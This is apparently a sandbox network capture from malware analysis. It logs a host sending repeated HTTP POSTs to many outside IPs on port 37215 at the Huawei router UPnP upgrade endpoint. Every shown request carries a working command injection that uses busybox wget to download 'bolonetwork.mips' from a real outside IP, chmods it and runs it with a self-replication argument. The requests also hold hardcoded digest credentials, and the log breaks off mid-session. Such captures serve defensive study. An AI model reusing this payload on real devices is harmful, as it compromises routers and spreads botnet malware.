2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.15	54920	14.49.13.245	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.15	60562	149.205.10.158	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.15	45450	197.238.161.20	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.431803942 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.15	41866	140.235.15.87	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.433487892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.15	38926	41.253.112.25	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.433487892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.15	58030	197.57.193.59	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.433487892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.15	52554	197.20.220.200	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.433487892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.15	57118	41.157.245.144	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.433487892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.15	51110	197.246.166.200	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.433487892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.15	40956	197.18.206.159	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.434123993 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.15	59342	34.182.233.76	37215

Timestamp	Bytes transferred	Direction	Data
